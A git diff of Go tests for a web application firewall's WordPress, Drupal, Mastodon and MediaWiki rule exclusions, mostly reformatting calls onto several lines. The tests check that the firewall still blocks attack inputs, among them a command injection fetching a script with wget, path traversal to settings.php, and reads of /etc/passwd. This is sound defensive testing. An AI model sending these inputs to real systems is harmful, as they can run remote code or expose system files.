-1531,7 +1822,13 @@ func TestWordPressOtherFieldsAreExcludedOnlyThere(t *testing.T) { {"/wp-json/oembed/1.0/proxy?url=http%3A%2F%2Fblog.example%2F.htaccess", 930120}, } { _, query, _ := strings.Cut(tt.target, "?") - wantChange(t, crs, get(tt.target), get(elsewhere+"?"+query), matched(tt.rule)) + wantChange( + t, + crs, + get(tt.target), + get(elsewhere+"?"+query), + matched(tt.rule), + ) } } @@ -1547,12 +1844,33 @@ func TestWordPressRESTFieldsAreExcludedOnlyThere(t *testing.T) { "/wp/v2/tags", "/wp/v2/categories", "/wp/v2/pages", "/wp/v2/media", "/wp/v2/users", "/wp/v2/blocks", "/wp/v2/pattern-directory/patterns", } { - wantChange(t, crs, get("/wp-json"+route+"?search=python3"), - get("/wp-json/example/v1/things?search=python3"), matched(932260)) - wantChange(t, crs, get("/index.php?rest_route="+route+"&search=python3"), - get("/index.php?rest_route=/example/v1/things&search=python3"), matched(932260)) - wantChange(t, crs, get("/?rest_route="+route+"&search=.htaccess"), - get("/?rest_route=/example/v1/things&search=.htaccess"), matched(930120)) + wantChange( + t, + crs, + get("/wp-json"+route+"?search=python3"), + get( + "/wp-json/example/v1/things?search=python3", + ), + matched(932260), + ) + wantChange( + t, + crs, + get("/index.php?rest_route="+route+"&search=python3"), + get( + "/index.php?rest_route=/example/v1/things&search=python3", + ), + matched(932260), + ) + wantChange( + t, + crs, + get("/?rest_route="+route+"&search=.htaccess"), + get( + "/?rest_route=/example/v1/things&search=.htaccess", + ), + matched(930120), + ) } const directory = "/wp-json/wp/v2/block-directory/search" @@ -1597,14 +1915,40 @@ func TestWordPressBodyFieldsAreCheckedInTheQuery(t *testing.T) { wantResult(t, crs, get(wpLogin+"?pwd=%2Fetc%2Fhosts"), matched(930120)) wantResult(t, crs, get(wpLogin+"?PWD=%2Fetc%2Fhosts"), matched(930120)) - wantResult(t, crs, get("/wp-admin/admin-ajax.php?content=ls+-la"), matched(932250)) - wantResult(t, crs, get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"), - matched(941100, 941160)) - wantResult(t, crs, - get("/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape(wordpressBlock)), - matched(941180)) - wantResult(t, crs, get("/wp-json/wp/v2/posts/1?json.title=python3"), matched(932260)) - wantResult(t, crs, get("/wp-comments-post.php?url=powershell"), matched(932120)) + wantResult( + t, + crs, + get("/wp-admin/admin-ajax.php?content=ls+-la"), + matched(932250), + ) + wantResult( + t, + crs, + get("/wp-admin/admin-ajax.php?newcontent=%3Cstyle%3E"), + matched(941100, 941160), + ) + wantResult( + t, + crs, + get( + "/wp-json/wp/v2/posts/1?json.content="+url.QueryEscape( + wordpressBlock, + ), + ), + matched(941180), + ) + wantResult( + t, + crs, + get("/wp-json/wp/v2/posts/1?json.title=python3"), + matched(932260), + ) + wantResult( + t, + crs, + get("/wp-comments-post.php?url=powershell"), + matched(932120), + ) } // TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere checks the JSON @@ -1620,11 +1964,19 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) { body := fmt.Sprintf(`{%q:%q}`, field, v.value) for _, address := range wordpressRESTAddresses("/wp/v2/posts/1") { - r := request{http.MethodPost, address, []string{jsonBody, wordpressOverride}} + r := request{ + http.MethodPost, + address, + []string{jsonBody, wordpressOverride}, + } wantBody(t, crs, r, body, coreruleset.Result{}, body) } - r := request{http.MethodPost, "/wp-json/example/v1/things", []string{jsonBody}} + r := request{ + http.MethodPost, + "/wp-json/example/v1/things", + []string{jsonBody}, + } wantBody(t, crs, r, body, matched(v.rule), body) } @@ -1634,7 +1986,11 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) { } // A post's slug and a plugin to install skip only 932120 and 932260. - post := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}} + post := request{ + http.MethodPost, + wpPost, + []string{jsonBody, wordpressOverride}, + } install := request{http.MethodPost, wpAjax, []string{formData}} for _, v := range wordpressWords() { @@ -1651,7 +2007,11 @@ func TestWordPressBodyNamesAndAddressesAreExcludedOnlyThere(t *testing.T) { } comment := request{http.MethodPost, wpComment, []string{formData}} - elsewhere := request{http.MethodPost, "/example/things", []string{formData}} + elsewhere := request{ + http.MethodPost, + "/example/things", + []string{formData}, + } // A commenter's address skips the two rules that refused an address. for _, v := range []struct { @@ -1700,7 +2060,11 @@ func TestWordPressPasswordFieldsPass(t *testing.T) { {"/wp-admin/user/profile.php", formData, pass}, {"/wp-json/wp/v2/users", jsonBody, []string{passwordKey}}, {"/wp-json/wp/v2/users/me", formData, []string{passwordKey}}, - {"/index.php?rest_route=/wp/v2/users/2", jsonBody, []string{passwordKey}}, + { + "/index.php?rest_route=/wp/v2/users/2", + jsonBody, + []string{passwordKey}, + }, }) } @@ -1713,7 +2077,11 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) { ) crs := readingBodiesUpTo64K(t) - saving := request{http.MethodPost, wpPost, []string{jsonBody, wordpressOverride}} + saving := request{ + http.MethodPost, + wpPost, + []string{jsonBody, wordpressOverride}, + } content := `{"content":"` + wordpressBlock + `"}` wantBody(t, crs, saving, content, coreruleset.Result{}, content) @@ -1722,17 +2090,37 @@ func TestWordPressExclusionsAreNarrow(t *testing.T) { // off the REST API. title := `{"title":"` + wordpressBlock + `"}` wantBody(t, crs, saving, title, matched(941180), title) - wantBody(t, crs, request{http.MethodPost, offREST, []string{jsonBody}}, content, - matched(941180), content) + wantBody( + t, + crs, + request{http.MethodPost, offREST, []string{jsonBody}}, + content, + matched(941180), + content, + ) // The header X-HTTP-Method-Override is refused off the REST API. defaults := atDefaults(t) - wantResult(t, defaults, - request{http.MethodPost, wpPost, []string{jsonBody, length, wordpressOverride}}, - coreruleset.Result{}) - wantResult(t, defaults, - request{http.MethodPost, offREST, []string{jsonBody, length, wordpressOverride}}, - matched(920450)) + wantResult( + t, + defaults, + request{ + http.MethodPost, + wpPost, + []string{jsonBody, length, wordpressOverride}, + }, + coreruleset.Result{}, + ) + wantResult( + t, + defaults, + request{ + http.MethodPost, + offREST, + []string{jsonBody, length, wordpressOverride}, + }, + matched(920450), + ) // Signing in: pwd alone skips the list of system files. signIn := request{http.MethodPost, wpLogin, []string{formData}} @@ -1777,7 +2165,11 @@ func readingBodies(t *testing.T) *coreruleset.CoreRuleSet { // post is a POST request for / with a body of the type contentType, a // Content-Type header, gives, and headers besides. func post(contentType string, headers ...string) request { - return request{http.MethodPost, "/", append([]string{contentType}, headers...)} + return request{ + http.MethodPost, + "/", + append([]string{contentType}, headers...), + } } // field is a part of a multipart body: the field name, holding value. @@ -1806,9 +2198,17 @@ func wantBody( got, gotRead := inspectBody(t, crs, r, body) if !reflect.DeepEqual(got, want) || gotRead != read { - t.Errorf("%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+ - "want %+v, reading %d", r.headers, len(body), body, got, len(gotRead), - want, len(read)) + t.Errorf( + "%q with a body of %d bytes, %.40q: %+v, reading %d bytes, "+ + "want %+v, reading %d", + r.headers, + len(body), + body, + got, + len(gotRead), + want, + len(read), + ) } } @@ -1846,17 +2246,37 @@ func TestFormDataAndMultipartAreReadUpToTheLimit(t *testing.T) { } { wantBody(t, crs, post(tc.header), tc.attackFirst, matched(942100), tc.attackFirst[:bodyLimit+1]) - wantBody(t, crs, post(tc.header), tc.attackLast, coreruleset.Result{}, - tc.attackLast[:bodyLimit+1]) + wantBody( + t, + crs, + post(tc.header), + tc.attackLast, + coreruleset.Result{}, + tc.attackLast[:bodyLimit+1], + ) } // To the byte: a system file's path is found when it ends at the limit, // and not when its last letter is past it, which is still read. atLimit := padded("pad=", "&q=/etc/passwd", bodyLimit) - wantBody(t, crs, post(formData), atLimit, matched(930120, 932160), atLimit) + wantBody( + t, + crs, + post(formData), + atLimit, + matched(930120, 932160), + atLimit, + ) pastLimit := padded("pad=", "&q=/etc/passwd", bodyLimit+1) - wantBody(t, crs, post(formData), pastLimit, coreruleset.Result{}, pastLimit) + wantBody( + t, + crs, + post(formData), + pastLimit, + coreruleset.Result{}, + pastLimit, + ) } func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { @@ -1872,7 +2292,14 @@ func TestJSONAndXMLAreReadOnlyWhenNoLargerThanTheLimit(t *testing.T) { wantBody(t, crs, post(tc.header), fits, matched(942100), fits) larger := padded(tc.head, tc.tail, bodyLimit+1) - wantBody(t, crs, post(tc.header), larger, coreruleset.Result{}, larger) + wantBody( + t, + crs, + post(tc.header), + larger, + coreruleset.Result{}, + larger, + ) } } @@ -1894,7 +2321,9 @@ func TestOtherBodiesAreNotRead(t *testing.T) { } } -func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing.T) { +func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads( + t *testing.T, +) { t.Parallel() const gzip = "Content-Encoding: gzip" @@ -1907,7 +2336,14 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing. {jsonBody, `{"a":1}`}, {xmlBody, "1"}, } { - wantBody(t, crs, post(tc.header, gzip), tc.body, matched(920450), tc.body) + wantBody( + t, + crs, + post(tc.header, gzip), + tc.body, + matched(920450), + tc.body, + ) } // Whatever its size: a JSON body larger than the limit is not read, but @@ -1919,10 +2355,19 @@ func TestContentEncodingIsRefusedOnTheKindsOfBodyTheCoreRuleSetReads(t *testing. // body is read. fetch := "Content-Type: application/x-git-upload-pack-request" wantBody(t, crs, post(fetch, gzip), "a", coreruleset.Result{}, "") - wantBody(t, atDefaults(t), post(formData, gzip), "a", coreruleset.Result{}, "") + wantBody( + t, + atDefaults(t), + post(formData, gzip), + "a", + coreruleset.Result{}, + "", + ) } -func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo(t *testing.T) { +func TestParametersGiteaSendsNamesInAreLeftOutAmongFormFieldsToo( + t *testing.T, +) { t.Parallel() crs := readingBodies(t) @@ -1966,7 +2411,14 @@ func TestGiteaBodiesTheCoreRuleSetRefuses(t *testing.T) { // An attachment named like a log file. attachment := "--b\r\nContent-Disposition: form-data; name=\"file\"; " + "filename=\"debug.log\"\r\nContent-Type: text/plain\r\n\r\nstarted\r\n" + end - wantBody(t, crs, post(multipart), attachment, matched(932180), attachment) + wantBody( + t, + crs, + post(multipart), + attachment, + matched(932180), + attachment, + ) } func TestTypesEndingInXMLOrJSONAndTextJSONAreRead(t *testing.T) { @@ -2007,7 +2459,14 @@ func TestBodyCorazaCannotParseIsAMatch(t *testing.T) { {multipart, noColon}, } { body = tc.head + field("q", injection) + end - wantBody(t, crs, post(tc.header), body, matched(900440, 900450), body) + wantBody( + t, + crs, + post(tc.header), + body, + matched(900440, 900450), + body, + ) body = tc.head + field("q", injection) + pad + end wantBody(t, crs, post(tc.header), body, matched(900440, 900450), @@ -2022,14 +2481,25 @@ func TestMultipartBodyCutBeforeAPartHeadersColonIsAMatch(t *testing.T) { // header, which Coraza, reading up to the limit, cannot tell from a // header without a colon. cut := "--b\r\nContent-Di" - first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut))) + first := field( + "pad", + strings.Repeat("a", bodyLimit-len(field("pad", ""))-len(cut)), + ) body := first + cut + "sposition: form-data; name=\"q\"\r\n\r\n1\r\n" + end - wantBody(t, readingBodies(t), post(multipart), body, matched(900440, 900450), - body[:bodyLimit+1]) + wantBody( + t, + readingBodies(t), + post(multipart), + body, + matched(900440, 900450), + body[:bodyLimit+1], + ) } -func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) { +func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch( + t *testing.T, +) { t.Parallel() crs := readingBodies(t) @@ -2040,7 +2510,10 @@ func TestMultipartBodyCutBeforeALineFeedInAPartsHeadersIsAMatch(t *testing.T) { // the empty line after it. Coraza, reading up to the limit, takes the // line ending in a lone carriage return for a malformed header. for _, cut := range []int{len(headerLine), len(headerLine + "\n\r")} { - first := field("pad", strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut)) + first := field( + "pad", + strings.Repeat("a", bodyLimit-len(field("pad", ""))-cut), + ) body := first + field("q", "1") + end wantBody(t, crs, post(multipart), body, matched(900440, 900450), @@ -2074,7 +2547,9 @@ func TestCorazaWritesNoFile(t *testing.T) { func TestBodyLimitOf1GLoads(t *testing.T) { t.Parallel() - _, err := coreruleset.New(coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30}) + _, err := coreruleset.New( + coreruleset.Params{ParanoiaLevel: 1, BodyLimit: 1 << 30}, + ) if err != nil { t.Errorf("load the Core Rule Set reading bodies up to 1G: %v", err) } diff --git a/internal/coreruleset/drupal_test.go b/internal/coreruleset/drupal_test.go index 0cc9074..da15028 100644 --- a/internal/coreruleset/drupal_test.go +++ b/internal/coreruleset/drupal_test.go @@ -124,15 +124,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { got, _ := inspectBody(t, crs, r, sent.body) if got.Score < drupalThreshold { - t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got) + t.Errorf( + "POST %s %q let through: %+v", + sent.target, + sent.body, + got, + ) } } } +} - for _, attack := range []string{ - injection, - scriptTag, - } { +// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of +// TestDrupalAttacksAreRefusedInTheExcludedBodyFields. +func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + + for _, attack := range []string{injection, scriptTag} { for _, field := range []string{ `"title":"` + attack + `"`, `"body":{"value":"` + attack + `"}`, @@ -153,7 +163,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { } } - r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}} + r := request{ + http.MethodPatch, + "/node/2?_format=json", + []string{jsonBody}, + } body := `{"title":[{"value":"` + attack + `"}]}` got, _ := inspectBody(t, crs, r, body) @@ -198,14 +212,25 @@ func TestDrupalPasswordFieldsPass(t *testing.T) { wantPasswordFieldsPass(t, []passwordFields{ {drupalRegister, formData, pass}, {"/fr/user/register", formData, pass}, - {"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}}, + { + "/user/1/edit", + formData, + []string{"current_pass", pass[0], pass[1]}, + }, {"/admin/people/create", formData, pass}, {drupalJSONRegister, jsonBody, []string{value}}, {drupalJSONRegister, jsonBody, []string{"pass.value"}}, - {"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}}, + { + "/user/1?_format=json", + jsonBody, + []string{value, "pass.0.existing"}, + }, { "/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody, - []string{"data.attributes.pass.value", "data.attributes.pass.existing"}, + []string{ + "data.attributes.pass.value", + "data.attributes.pass.existing", + }, }, }) } @@ -222,7 +247,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { `../../sites/default/settings.php`, } { for _, field := range []string{"name", "mail"} { - r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + r := request{ + http.MethodPost, + drupalJSONPasswordReset, + []string{jsonBody}, + } body := `{"` + field + `":"` + attack + `"}` got, _ := inspectBody(t, crs, r, body) @@ -241,12 +270,23 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) { {"ls -la", 932250}, {".htaccess@example.com", 930120}, } { - r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}} + r := request{ + http.MethodPost, + drupalJSONPasswordReset, + []string{jsonBody}, + } body := `{"mail":"` + kept.value + `"}` got, _ := inspectBody(t, crs, r, body) - if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) { - t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule) + if got.Score < drupalThreshold || + !slices.Contains(got.RuleIDs, kept.rule) { + t.Errorf( + "POST %s %s: %+v, want %d among them", + r.target, + body, + got, + kept.rule, + ) } } } @@ -317,10 +357,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) { got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack) if got.Score < drupalThreshold { - t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got) + t.Errorf( + "POST %s %s let through: %+v", + r.target, + sent.field, + got, + ) } } + // An address keeps 932250, which refuses ls -la. + r := request{http.MethodPost, drupalEditAccount, []string{formData}} + + got, _ := inspectBody(t, crs, r, "mail=ls%20-la") + if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) { + t.Errorf( + "POST %s mail=ls%%20-la: %+v, want 932250 among them", + r.target, + got, + ) + } +} + +// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half +// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields. +func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) { + t.Parallel() + + crs := readingBodies(t) + for _, field := range []string{ `"title":"; wget http://example.com/x.sh"`, `"subject":"; wget http://example.com/x.sh"`, @@ -342,7 +407,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) { } } - r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}} + r := request{ + http.MethodPatch, + "/node/2?_format=json", + []string{jsonBody}, + } body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}` got, _ := inspectBody(t, crs, r, body) @@ -357,14 +426,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) { if got.Score < drupalThreshold { t.Errorf("POST %s %s let through: %+v", r.target, body, got) } - - // An address keeps 932250, which refuses ls -la. - r = request{http.MethodPost, drupalEditAccount, []string{formData}} - - got, _ = inspectBody(t, crs, r, "mail=ls%20-la") - if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) { - t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got) - } } func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { @@ -388,7 +449,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { got, _ := inspectBody(t, crs, r, sent.field+value) if got.Score >= drupalThreshold { - t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got) + t.Errorf( + "POST %s %s%s refused: %+v", + sent.target, + sent.field, + value, + got, + ) } } } @@ -407,7 +474,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { t.Errorf("POST %s %s refused: %+v", r.target, body, got) } - r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + r = request{ + http.MethodPost, + "/fr" + drupalJSONPasswordReset, + []string{jsonBody}, + } body = `{"name":"` + word + `"}` got, _ = inspectBody(t, crs, r, body) @@ -417,7 +488,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) { } for _, address := range []string{"python3@example.com", "powershell@example.com"} { - r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}} + r := request{ + http.MethodPost, + "/fr" + drupalJSONPasswordReset, + []string{jsonBody}, + } body := `{"mail":"` + address + `"}` got, _ := inspectBody(t, crs, r, body) @@ -483,7 +558,11 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) { {drupalEditAccount, "mail=python3"}, {drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"}, } { - r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}} + r := request{ + http.MethodPost, + sent.path + "?" + sent.field, + []string{formData}, + } got, _ := inspectBody(t, crs, r, sent.field) if got.Score < drupalThreshold { diff --git a/internal/coreruleset/mastodon_test.go b/internal/coreruleset/mastodon_test.go index 693777b..38b79c2 100644 --- a/internal/coreruleset/mastodon_test.go +++ b/internal/coreruleset/mastodon_test.go @@ -106,26 +106,58 @@ var mastodonFormFields = []mastodonBodyField{ {http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="}, {http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="}, {http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment}, - {http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="}, - {http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="}, + { + http.MethodPost, + "/admin/domain_blocks", + "domain_block[private_comment]=", + }, + { + http.MethodPost, + "/admin/domain_blocks", + "domain_block[public_comment]=", + }, {http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="}, {http.MethodPost, mastodonRules, "rule[text]="}, {http.MethodPost, mastodonRules, "rule[hint]="}, {http.MethodPost, "/admin/announcements", "announcement[text]="}, {http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="}, - {http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="}, + { + http.MethodPost, + mastodonBranding, + "form_admin_settings[site_short_description]=", + }, { http.MethodPost, "/admin/settings/about", "form_admin_settings[site_extended_description]=", }, {http.MethodPost, "/filters", "custom_filter[title]="}, - {http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="}, - {http.MethodPost, "/settings/applications", "doorkeeper_application[name]="}, - {http.MethodPost, "/settings/applications", "doorkeeper_application[website]="}, + { + http.MethodPost, + "/filters", + "custom_filter[keywords_attributes][0][keyword]=", + }, + { + http.MethodPost, + "/settings/applications", + "doorkeeper_application[name]=", + }, + { + http.MethodPost, + "/settings/applications", + "doorkeeper_application[website]=", + }, {http.MethodPost, "/settings/aliases", "account_alias[acct]="}, {http.MethodPost, "/settings/migration", "account_migration[acct]="}, - {http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="}, - {http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="}, + { + http.MethodPost, + mastodonAccount, + "user[invite_request_attributes][text]=", + }, + { + http.MethodPost, + "/admin/accounts/1/action", + "admin_account_action[text]=", + }, {http.MethodPost, "/admin/report_notes", "report_note[content]="}, { http.MethodPost, "/admin/account_moderation_notes", @@ -149,12 +181,20 @@ var mastodonPasswordForms = []mastodonBodyField{ {http.MethodPost, mastodonAccount, mastodonPassword}, {http.MethodPost, mastodonAccount, "user[password_confirmation]="}, {http.MethodPost, mastodonAccount, "user[current_password]="}, - {http.MethodPost, "/settings/migration", "account_migration[current_password]="}, + { + http.MethodPost, + "/settings/migration", + "account_migration[current_password]=", + }, { http.MethodPost, "/settings/migration/redirect", "form_redirect[current_password]=", }, - {http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="}, + { + http.MethodPost, + "/settings/delete", + "form_delete_confirmation[password]=", + }, {http.MethodPost, mastodonSignUp, passwordField}, } @@ -181,12 +221,28 @@ var mastodonJSONFields = []mastodonBodyField{ }, {http.MethodPatch, mastodonEditor, `{"display_name":%s}`}, {http.MethodPatch, mastodonEditor, `{"note":%s}`}, - {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`}, - {http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`}, + { + http.MethodPatch, + mastodonEditor, + `{"fields_attributes":[{"name":%s}]}`, + }, + { + http.MethodPatch, + mastodonEditor, + `{"fields_attributes":[{"value":%s}]}`, + }, {http.MethodPatch, mastodonProfile, `{"display_name":%s}`}, {http.MethodPatch, mastodonProfile, `{"note":%s}`}, - {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`}, - {http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`}, + { + http.MethodPatch, + mastodonProfile, + `{"fields_attributes":[{"name":%s}]}`, + }, + { + http.MethodPatch, + mastodonProfile, + `{"fields_attributes":[{"value":%s}]}`, + }, {http.MethodPost, mastodonReports, `{"comment":%s}`}, {http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`}, {http.MethodPost, mastodonSignUp, `{"reason":%s}`}, @@ -195,8 +251,16 @@ var mastodonJSONFields = []mastodonBodyField{ {http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`}, {http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`}, {http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`}, - {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`}, - {http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`}, + { + http.MethodPost, + mastodonInbox, + `{"object":{"attachment":[{"name":%s}]}}`, + }, + { + http.MethodPost, + mastodonInbox, + `{"object":{"attachment":[{"value":%s}]}}`, + }, {http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`}, {http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`}, } @@ -239,7 +303,12 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int { } r := request{sent.method, sent.target, []string{jsonBody}} - got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted)) + got, _ := inspectBody( + t, + readingBodies(t), + r, + fmt.Sprintf(sent.field, quoted), + ) return got.Score } @@ -270,7 +339,11 @@ func mastodonScores( } for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) { - scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value) + scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm( + t, + sent, + value, + ) } unescaped, err := url.QueryUnescape(value) @@ -279,7 +352,11 @@ func mastodonScores( } for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) { - scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped) + scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON( + t, + sent, + unescaped, + ) } return scores @@ -316,8 +393,11 @@ func TestMastodonPasswordsPass(t *testing.T) { t.Run("JSON", func(t *testing.T) { t.Parallel() - r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target, - []string{jsonBody}} + r := request{ + mastodonPasswordJSON.method, + mastodonPasswordJSON.target, + []string{jsonBody}, + } wantRandomPasswordsPass(t, r, "password") wantPasswordAttacksPass(t, r, "password") @@ -332,8 +412,16 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) { wantPasswordFieldsPass(t, []passwordFields{ {"/auth/challenge", formData, challenge}, - {"/settings/two_factor_authentication/otp_authentication", formData, challenge}, - {"/settings/two_factor_authentication_methods/disable", formData, challenge}, + { + "/settings/two_factor_authentication/otp_authentication", + formData, + challenge, + }, + { + "/settings/two_factor_authentication_methods/disable", + formData, + challenge, + }, }) } @@ -508,7 +596,11 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) { {mastodonReport, "false"}, {mastodonForwardedReport, "remote.example"}, } { - report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body} + report := mastodonBodyField{ + http.MethodPost, + mastodonReports, + sent.body, + } if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold { t.Errorf("%v refused: %d", report, got) } @@ -572,12 +664,20 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) { } // Elsewhere both keep the two rules. - signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field} + signIn := mastodonBodyField{ + http.MethodPost, + mastodonSignIn, + mastodonUsername.field, + } if mastodonForm(t, signIn, "python3") < mastodonThreshold { t.Errorf("%v let through", signIn) } - statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field} + statuses := mastodonBodyField{ + http.MethodPost, + mastodonStatuses, + mastodonHashtag.field, + } if mastodonJSON(t, statuses, "python3") < mastodonThreshold { t.Errorf("%v let through", statuses) } @@ -617,7 +717,11 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) { // Elsewhere the address keeps every rule. for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} { sent := mastodonBodyField{http.MethodPost, target, mastodonEmail} - if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold { + if mastodonForm( + t, + sent, + "python3%40example.com", + ) < mastodonThreshold { t.Errorf("%v let through", sent) } } diff --git a/internal/coreruleset/mediawiki_test.go b/internal/coreruleset/mediawiki_test.go index e9a7bfb..01876cb 100644 --- a/internal/coreruleset/mediawiki_test.go +++ b/internal/coreruleset/mediawiki_test.go @@ -221,7 +221,13 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { got, _ := inspectBody(t, crs, r, sent.field+attack) if got.Score < mediawikiThreshold { - t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got) + t.Errorf( + "POST %s %s%s let through: %+v", + sent.target, + sent.field, + attack, + got, + ) } } } @@ -231,7 +237,11 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) { scriptTag, } { for _, field := range []string{"source", "comment"} { - r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}} + r := request{ + http.MethodPut, + mediawikiRESTPage, + []string{jsonBody}, + } body := `{"` + field + `":"` + attack + `"}` got, _ := inspectBody(t, crs, r, body) @@ -270,15 +280,31 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) { {"/wiki/Special:UserLogin?" + loginContinue, formData, retype}, {mediawikiSignIn + "&" + loginContinue, formData, retype}, {mediawikiAccountChange + "?" + changeAction, formData, change}, - {mediawikiAccountChange + subpage + "?" + changeAction, formData, change}, - {"/index.php/Special:ChangeCredentials?" + changeAction, formData, change}, + { + mediawikiAccountChange + subpage + "?" + changeAction, + formData, + change, + }, + { + "/index.php/Special:ChangeCredentials?" + changeAction, + formData, + change, + }, { "/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction, formData, change, }, - {"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change}, + { + "/w/index.php?title=Special:ChangeCredentials&" 